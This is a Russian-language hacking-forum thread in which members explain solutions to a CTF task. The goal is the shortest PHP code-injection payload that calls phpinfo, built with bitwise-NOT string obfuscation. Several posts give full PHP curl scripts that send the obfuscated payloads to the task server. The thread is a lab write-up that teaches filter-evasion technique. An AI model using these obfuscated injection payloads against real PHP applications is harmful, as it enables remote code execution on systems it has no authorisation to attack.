Task # Task #2

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by joelblack, 5 Jan 2019.

  1. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    107
    Likes Received:
    273
    Reputations:
    73
    Пояснения про самый короткий вариант.
    Он конечно будет с применением ~ - побитовая инверсия символов строки.
    Поскольку инверсия - обратимая операция, т.е. двойное ее применение дает исходную строку.
    ~~'phpinfo' =='phpinfo';
    Короче этой нотации просто нет.

    И, на заметку, ~string без кавычек выбросит нотис (Use of undefined constant phpinfo), но тоже будет работать на символах алфавита и некоторых других, скобки воспринимаются как конец строки .

    Проверял два варианта, при первой проверке получил одинаковую длину решения и в дальнейшем оптимизировал только тот, в котором вся посылка умещается в input.
    Уж не знаю, обсчитался в количестве символов, или просто записал неоптимально, но шутка Лайта зашла и повторная проверка показала, что вариант с раздельной нагрузкой post +get действительно короче.

    В первом варианте переменной $_ присваивается строка ~~'phpinfo', а потом вызывается функция из имени переменной $_().
    <?
    $u='http://task.antichat.com:10002/index.php';
    $p='$_=~'.~'phpinfo'.';$_()';

    echo $p, strlen($p);
    echo mp($u, $p);

    function mp($url,$post=''){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_POSTFIELDS,'input='.$post);
    $result = @curl_exec($ch);
    curl_close($ch);
    return $result;
    }

    Второй вариант проделывает эту же манипуляцию с массивом $_GET.
    <?
    $u='http://task.antichat.com:10002/index.php?_=phpinfo';
    $p='${~'.~'_GET'.'}[_]()';

    echo $p, strlen($p);
    echo mp($u, $p);

    function mp($url,$post=''){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_POSTFIELDS,'input='.$post);
    $result = @curl_exec($ch);
    curl_close($ch);
    return $result;
    }
    здесь $_GET['_'] = 'phpinfo'.
    Поскольку вариант ищем короткий, то кавычки не ставим, нотисы не мешают выполнить код.

    Кстати l1ght тоже нашел оба эти варианта, но не отписал ТС, видимо решив, что я передам, ну или для него это не очень значимо.
    В любом случае, восстанавливаю справедливость.
    Самый короткий вариант за Лайтом.

    PS
    Забыл пояснить курл нотацию, или "Сложный (фигурный) синтаксис",
    внутри ${} может быть переменная или функция.
     
    crabovwik, l1ght, cerber3000 and 6 others like this.
  2. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    107
    Likes Received:
    273
    Reputations:
    73
    У меня вопрос, достаточно ли понятно описаны решения, смысл этих "кракобляков" понятен, или нужны дополнительные разъяснения?
    Следующее задание будет тоже из разряда простых, но дальше будем набирать обороты и важно не растерять Ваше внимание и понимание.
     
    unstppbl and XoroXSS like this.
  3. XoroXSS

    XoroXSS Member

    Joined:
    8 Jan 2019
    Messages:
    2
    Likes Received:
    5
    Reputations:
    0
    Мне, как человеку, который знает php на уровне скриптов под апи вк :D - было всё понятно. Очень здорово.
    У меня не совсем по "краказябрам" вопрос..
    В ответах к теме люди писали что использовали burp и sqlmap для поиска решения, так вот, меня заинтересовало как именно это происходило.
    Насчет XSS - всё понятно, есть плагин бурповский xss-validator который автоматически проверяет на "алерты", а как поиск происходил в данном случае? Ручками?
     
    dooble likes this.
  4. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    107
    Likes Received:
    273
    Reputations:
    73
    Скульмап - это прикол.
    Бурп - скорее всего просто привычный инструмент для манипуляции с пакетами.
     
    Gorbachev and XoroXSS like this.
  5. unstppbl

    unstppbl Level 8

    Joined:
    12 Nov 2018
    Messages:
    7
    Likes Received:
    7
    Reputations:
    6
    Всё понятно, спасибо :)
     
    dooble likes this.
  6. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    107
    Likes Received:
    273
    Reputations:
    73
    Та дам!
    Лайт прислал решение на 12 символов.
    Первоначально не поверил ему, поскольку этот вариант я проверял, минимум дважды, должен работать, но не работает.
    Раскомментировал строку //$p='(~'.~'phpinfo'.')()';
    работает.
    <?
    $u='http://task.antichat.com:10002/index.php?_=phpinfo';
    $p='(~'.~'phpinfo'.')()';

    echo $p, strlen($p);
    echo mp($u, $p);

    function mp($url,$post=''){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_POSTFIELDS,'input='.$post);
    $result = @curl_exec($ch);
    curl_close($ch);
    return $result;
    }
    Эту магию оставил на потом разбираться, сейчас больше интересует магия скобок.

    Давайте добивать вместе.
    Я когда экспериментировал, исходил из того, что запись (здесь чего то) означает, что внутри скобок находится строка, сейчас не помню где, поищю, но скобки - это еще один способ записи строки, например конструкция (int)$var использует его.

    В результате $a=~'phpinfo'; print ~$a; получается не строка, возможно константа.
    А скобки принудительно заставляют воспринимать, как строку $a=~'phpinfo';(~$a)();

    Есть еще вариант объяснения, что скобки это просто последовательность операций и в пользу этого говорят проверки
    Code:
    eval('print (3-2)()'.';'); - Function name must be a string
    eval('print ("2"+"2")()'.';'); - Function name must be a string
    eval('print (2*2)()'.';');- Function name must be a string
    По крайней мере, это точно не преобразование в строку.

    Кстати эта конструкция работает только на семерке, а в пятой ветке не работает.

    ==
    PS
    Лайт - красавчик.
    #этапять
    но поскольку отказался оформить пост, то #этаужечетыре и нет возможности закидать его репой (((.
    ==
    PS2
    Вот чем хорошо, когда команда ресерчит, вариантов набирается много и разных, и задание вроде бы простое, а превращается в нормальное, полноценное, интересное.
     
    #86 dooble, 21 Jan 2019
    Last edited: 25 Jan 2019
    l1ght, crabovwik, joelblack and 2 others like this.
Loading...